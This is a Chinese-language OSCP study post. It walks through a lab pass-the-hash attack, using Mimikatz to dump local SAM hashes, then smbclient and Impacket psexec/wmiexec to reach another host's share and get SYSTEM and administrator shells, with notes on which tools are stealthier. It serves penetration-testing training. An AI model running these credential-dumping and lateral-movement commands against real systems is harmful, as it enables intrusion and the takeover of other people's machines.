❿⁄₁₁ ⟦ OSCP ⬖ 研记 ⟧ 密码攻击实践 ➱ NTLM哈希传递攻击

**郑重声明:**本文所涉安全技术仅限用于合法研究与学习目的,严禁任何形式的非法利用。因不当使用所导致的一切法律与经济责任,本人概不负责。任何形式的转载均须明确标注原文出处,且不得用于商业目的。

🔋 点赞 | 能量注入 ❤️ 关注 | 信号锁定 🔔 收藏 | 数据归档 ⭐️ 评论| 保持连接💬

🌌 立即前往 👉晖度丨安全视界🚀​​​

​​

▶ 信息收集

▶ 漏洞检测
初始立足点

▶ 权限提升

横向移动 ➢ 密码攻击 ➢ NTLM哈希传递攻击🔥🔥🔥

▶ 报告/分析

▶ 教训/修复

目录

1.密码破解

[1.1 破解Windows哈希实践](#1.1 破解Windows哈希实践)

[1.1.1 NTLM哈希传递攻击概述](#1.1.1 NTLM哈希传递攻击概述)

[1.1.1.1 什么是NTLM哈希传递?](#1.1.1.1 什么是NTLM哈希传递?)

[1.1.1.2 攻击应用场景](#1.1.1.2 攻击应用场景)

[1.1.1.3 重要限制条件](#1.1.1.3 重要限制条件)

[1.1.2 NTLM哈希传递攻击实践](#1.1.2 NTLM哈希传递攻击实践)

[1.1.2.1 攻击目标与前提](#1.1.2.1 攻击目标与前提)

[1.1.2.2 攻击链条总览](#1.1.2.2 攻击链条总览)

[1.1.2.3 初始横向移动尝试(失败)](#1.1.2.3 初始横向移动尝试(失败))

[1.1.2.4 权限提升与哈希提取](#1.1.2.4 权限提升与哈希提取)

[1.1.2.5 支持NTLM哈希传递攻击的工具指南](#1.1.2.5 支持NTLM哈希传递攻击的工具指南)

1.SMB枚举与管理工具

2.远程命令执行工具

3.直接协议连接

4.综合渗透神器

5.工具选择策略

[1.1.2.6 利用SMBclient通过NTLM哈希访问共享](#1.1.2.6 利用SMBclient通过NTLM哈希访问共享)

1.攻击目标与实践

2.信息收集操作

3.关键注意事项

[1.1.2.7 利用Impacket工具通过NTLM哈希获取交互式Shell](#1.1.2.7 利用Impacket工具通过NTLM哈希获取交互式Shell)

1.攻击目标进阶

2.攻击流程总览

[3.psexec.py - 系统级权限获取](#3.psexec.py - 系统级权限获取)

[4.wmiexec.py - 用户级权限获取](#4.wmiexec.py - 用户级权限获取)

5.扩展应用:自定义命令执行

6.核心要点总结

[欢迎❤️ 点赞 | 🔔 关注 | ⭐️ 收藏 | 💬 评论](#欢迎❤️ 点赞 | 🔔 关注 | ⭐️ 收藏 | 💬 评论)


1.密码破解

1.1 破解Windows哈希实践

核心攻击场景: 本文介绍第一种:获取并破解NTLM哈希

攻击类型 目标哈希 手法简介
获取并破解NTLM哈希 🗝️ NTLM哈希 从内存或SAM数据库中提取哈希,并用工具(如Hashcat)破解
传递NTLM哈希 🗝️ NTLM哈希 直接使用哈希进行身份验证,绕过密码需求
获取并破解Net-NTLMv2哈希 🔐 Net-NTLMv2哈希 通过中间人或欺骗获取挑战-响应包,离线破解
传递Net-NTLMv2哈希 🔐 Net-NTLMv2哈希 在支持的环境下复用Net-NTLMv2响应进行身份验证

1.1.1 NTLM哈希传递攻击概述

在前一篇文章,使用Mimikatz工具在特权下,成功提取本地用户的NTLM哈希。接着,使用Hashcat工具,采用rockyou字典和best64规则对哈希进行离线破解,最终获得明文密码。但是 ,有人会问:

当哈希无法被破解时(如:密码强度极高),怎么办?仍有其他利用方式,如:哈希传递攻击(Pass-the-Hash)直接使用NTLM哈希本身进行横向移动。就在本文。

1.1.1.1 什么是NTLM哈希传递?

场景:

当多台主机使用相同的用户名和密码 时,攻击者获取其中一台主机的NTLM哈希后,即可无需破解,直接用该哈希登录其他主机。

📊 技术原理对比:

攻击方式 所需凭证 攻击过程 时间消耗
传统密码破解 NTLM哈希 哈希 → 破解 → 明文密码 → 登录 长(依赖密码强度)
传递哈希(PtH) NTLM哈希 哈希直接用于身份验证 短(即时)
  • 无需盐值:NTLM/LM哈希未加盐,在不同会话中保持不变

  • 直接验证 :使用有效的"用户名+NTLM哈希"组合即可通过身份验证

  • 绕过破解:完全跳过耗时的密码破解阶段


1.1.1.2 攻击应用场景

场景一:对同一目标进行身份验证

  • 获取目标主机的NTLM哈希后,可直接用该哈希重新通过该主机的身份验证

场景二:横向移动至其他目标

前提条件必须同时满足:

  1. ✅ 第二台主机存在相同用户名和密码的账户

  2. ✅ 该账户在第二台主机上具有管理员权限


1.1.1.3 重要限制条件

UAC远程限制的影响

  • 时间点 :自Windows Vista起,所有Windows版本默认启用

  • 防护机制:阻止远程系统上的管理员权限执行(除特定情况外)

  • 关键例外本地管理员账户不受此限制影响

📌 攻击成功的关键条件:

  • 如果使用非本地管理员账户 进行PtH,目标系统需要特殊配置才可能实现代码执行

  • 本地管理员账户的PtH攻击不受UAC远程限制影响

🔐 防御提示:定期更换各主机密码、避免密码重复使用、限制管理员账户的远程登录权限,可有效防御此类攻击。


1.1.2 NTLM哈希传递攻击实践

1.1.2.1 攻击目标与前提

核心目标:获取FILES01主机的Administrator账户(管理员账户)NTLM哈希,并用其横向移动到FILES02主机,最终获得交互式Shell。

攻击前提

  • ✅ 假设已访问FILES01主机(通过用户gunther及密码password123!)

  • ✅ FILES01与FILES02的本地Administrator账户密码相同

  • 🔒 FILES02上存在受限制的SMB共享(\\192.168.50.212\secrets

  • ✅ 提取FILES01的Administrator哈希 → 传递哈希攻击FILES02


1.1.2.2 攻击链条总览

1.1.2.3 初始横向移动尝试(失败)
步骤 操作 结果 分析
环境准备 通过RDP使用gunther/password123!登录FILES01 成功获得FILES01访问权限 获得初始立足点
共享访问尝试 在资源管理器输入\\192.168.50.212\secrets 弹出凭据输入窗口 FILES02共享需要身份验证
凭证测试 输入gunther相同凭据 访问被拒绝 FILES02上无此用户或用户无权限(密码不对)

💡 关键发现:直接使用已泄露的普通用户凭证无法实现横向移动,需要更高级别的凭证。


1.1.2.4 权限提升与哈希提取

使用Mimikatz获取FILES01的Administrator的NTLM哈希。

工具准备 :Mimikatz(位于C:\tools\mimikatz.exe),以管理员身份打开一个PowerShell窗口并启动Mimikatz。

操作步骤 命令 作用与说明
提权准备 privilege::debug 启用调试权限(获取系统级访问)
权限提升 token::elevate 提升至SYSTEM权限令牌
哈希提取 lsadump::sam 提取本地SAM数据库中的NTLM哈希

提取成果 :获得FILES01主机Administrator账户的NTLM哈希值

🔑 为什么选择Administrator哈希?

  • 权限最大化:Administrator账户在两台主机上拥有最高权限

  • 绕过UAC限制:本地Administrator账户不受UAC远程限制影响

  • 密码一致性假设:根据前提,两台主机此账户密码相同


1.1.2.5 支持NTLM哈希传递攻击的工具指南

📊 主要工具分类与用途:

类别 工具/方法 主要功能
SMB枚举与管理 smbclient、CrackMapExec 扫描SMB共享、枚举用户、传递哈希访问
命令执行 Impacket脚本集 (psexec.pywmiexec.py) 远程命令执行、获取交互式Shell
远程协议连接 SMBRDPWinRM 直接使用哈希建立远程会话(前提:具有所需权限)
综合渗透工具 Mimikatz 哈希提取、传递哈希、多种凭证操作

🛠️ 核心工具详解:

1.SMB枚举与管理工具
  • smbclient:Linux环境下经典的SMB客户端,支持使用NTLM哈希进行身份验证

  • CrackMapExec:功能强大的渗透测试框架,专为内网横向移动设计

💡 使用场景:快速扫描内网SMB共享,识别可访问的资源,验证哈希有效性。

2.远程命令执行工具
  • psexec.py(Impacket):模拟PsExec功能,通过SMB创建服务执行命令

  • wmiexec.py(Impacket):通过WMI协议执行命令,隐蔽性较好

bash 复制代码
# 示例:使用Impacket进行PtH攻击
psexec.py -hashes LMHASH:NTHASH administrator@目标IP
wmiexec.py -hashes LMHASH:NTHASH administrator@目标IP
3.直接协议连接
  • SMB协议:多种工具支持直接使用哈希挂载共享

  • RDP连接 :使用xfreerdp等工具配合哈希进行远程桌面连接

  • WinRM访问 :通过PowerShell Remoting或工具如evil-winrm使用哈希认证

4.综合渗透神器
  • Mimikatz:不仅可提取哈希,还能直接用于传递哈希攻击

    bash 复制代码
    # Mimikatz PtH命令
    sekurlsa::pth /user:Administrator /domain:目标主机 /ntlm:哈希值
5.工具选择策略
考虑因素 说明 建议
环境兼容性 不同工具在不同系统上的可用性 Linux环境首选Impacket,Windows环境可用Mimikatz
隐蔽性 攻击产生的日志和痕迹 WMI执行比PsExec更隐蔽
成功率 目标系统的防护措施影响 管理员账户成功率最高,注意UAC限制
功能需求 需要枚举、执行命令还是完整Shell 根据具体目标选择工具

1.1.2.6 利用SMBclient通过NTLM哈希访问共享
1.攻击目标与实践

利用从FILES01提取的Administrator账户NTLM哈希 ,直接访问FILES02上受限制的SMB共享(\\192.168.50.212\secrets),验证传递哈希攻击的可行性。

**再次注意前提:**假设FILES01和FILES02上的本地Administrator账户具有相同的密码。这在现实评估中非常常见。

🔧 核心攻击命令解析

bash 复制代码
smbclient \\\\192.168.50.212\\secrets -U Administrator --pw-nt-hash 7a38310ea6f0027ee955abed1762964b
命令部分 作用说明 关键细节
smbclient SMB协议命令行客户端工具 Linux环境下标准工具
\\\\192.168.50.212\\secrets 目标共享路径 双反斜杠需转义,对应FILES02的secrets共享
-U Administrator 指定用户名 使用管理员账户
--pw-nt-hash 指定使用NTLM哈希认证 而非明文密码
7a38310ea6f0027ee955abed1762964b NTLM哈希值 从FILES01的Administrator提取

✅ 连接成功标志

  • 进入SMB交互式命令行

  • 出现smb: \>提示符

2.信息收集操作
命令 功能 攻击意义
dirls 列出共享目录内容 侦察敏感文件、数据结构
get 文件名 下载文件到本地 窃取数据、分析凭证
put 文件名 上传文件到共享 投递后门、部署工具
3.关键注意事项
  • 路径转义要求 :Windows路径\\IP\共享需写为\\\\IP\\共享

  • 哈希格式:直接提供NTLM哈希值,无需LM哈希部分(现代系统通常为空)

  • 权限匹配:使用的账户在目标系统上需有相应共享访问权限

下一步演进:成功访问共享后,攻击者可进一步下载敏感文件、上传恶意程序,或利用其他工具获取目标主机的完全控制权。


1.1.2.7 利用Impacket工具通过NTLM哈希获取交互式Shell
1.攻击目标进阶

在成功访问SMB共享 后,攻击者进一步追求完全控制权------获取目标主机的交互式Shell。使用Impacket库的脚本可以高效实现这一目标。

🛠️ 工具对比概览

使用impacket库中的psexec.py脚本和wmiexec.py脚本。

工具 原理机制 执行身份 隐蔽性 默认命令
psexec.py 上传可执行文件→注册服务→启动 SYSTEM权限 较低(创建服务) cmd.exe
wmiexec.py 通过WMI协议执行命令 认证用户权限 较高(利用WMI) cmd.exe
2.攻击流程总览
3.psexec.py - 系统级权限获取
bash 复制代码
impacket-psexec -hashes 00000000000000000000000:7a38310ea6f0027ee955abed1762964b Administrator@192.168.50.212
参数 说明 关键点
-hashes 指定哈希认证方式 格式:LM哈希:NTLM哈希
0000000000000000... LM哈希占位符 现代Windows通常为空
7a38310ea6f0027ee9... 实际NTLM哈希值 从FILES01提取
Administrator@192.168.50.212 目标用户和主机 FILES02的Administrator账户
  • 获取SYSTEM权限的Shell(最高权限)

  • 通过创建Windows服务实现,痕迹较明显

  • 适用于需要完全控制权的场景

4.wmiexec.py - 用户级权限获取
bash 复制代码
impacket-wmiexec -hashes 00000000000000000000000:7a38310ea6f0027ee955abed1762964b Administrator@192.168.50.212
  • 获取认证用户权限的Shell(此处为Administrator)

  • 通过WMI协议执行,更隐蔽

  • 适用于维持持久访问、避免触发警报

🎭 权限差异对比

psexec.py的执行结果

bash 复制代码
C:\Windows\system32> whoami
nt authority\system  # 最高系统权限

wmiexec.py的执行结果

bash 复制代码
C:\Users\Administrator> whoami
domain\administrator  # 管理员用户权限
5.扩展应用:自定义命令执行

两个工具都支持在命令末尾添加参数,执行特定命令而非默认Shell:

bash 复制代码
# 执行单条命令
impacket-psexec -hashes ... Administrator@192.168.50.212 "whoami /all"
impacket-wmiexec -hashes ... Administrator@192.168.50.212 "ipconfig /all"

工具链组合使用

  • 信息收集:先用wmiexec隐蔽执行侦察命令

  • 权限提升:后用psexec获取SYSTEM权限进行深度操作

  • 横向扩展:以当前主机为跳板,继续攻击网络内其他主机


6.核心要点总结
维度 关键收获
攻击效率 无需密码破解,直接使用哈希获取Shell
工具选择 根据需求选择权限级别(SYSTEM vs 用户)
隐蔽性 wmiexec比psexec更隐蔽,适合持久化
现实意义 展示了哈希传递攻击的完整杀伤链:访问共享→获取Shell
防御关键 监控异常服务创建和WMI远程执行,阻断横向移动

攻击演进:从简单的共享访问到完全交互式控制,展示了内网渗透的标准升级路径。攻击者可根据目标环境和防御强度灵活选择工具,实现从立足点到完全控制的平滑过渡。


欢迎❤️ 点赞 | 🔔 关注 | ⭐️ 收藏 | 💬 评论

每一份支持,都是我持续输出的光。

相关推荐
咆哮的黑化肥2 小时前
跨站脚本攻击XSS入门(+DVWA、Pikachu靶场练习)
网络安全·xss
CodeByV16 小时前
【算法题】哈希
算法·哈希算法
专注于大数据技术栈17 小时前
java学习--HashSet
java·学习·哈希算法
能年玲奈喝榴莲牛奶17 小时前
安全服务-应急响应
web安全·网络安全·应急响应·安全服务
a努力。18 小时前
字节跳动Java面试被问:一致性哈希的虚拟节点和数据迁移
java·开发语言·分布式·算法·缓存·面试·哈希算法
小快说网安19 小时前
硬核解析:高防 IP 是如何拦截 DDoS 攻击的?从清洗中心到流量调度
网络·tcp/ip·网络安全·ddos
源代码•宸1 天前
Golang原理剖析(map)
经验分享·后端·算法·golang·哈希算法·散列表·map
NewCarRen1 天前
安全碰撞测试:汽车车载IT组件的实际安全评估
网络·网络安全
汤愈韬1 天前
防火墙双机热备01(主备模式)
网络·网络协议·网络安全·security·huawei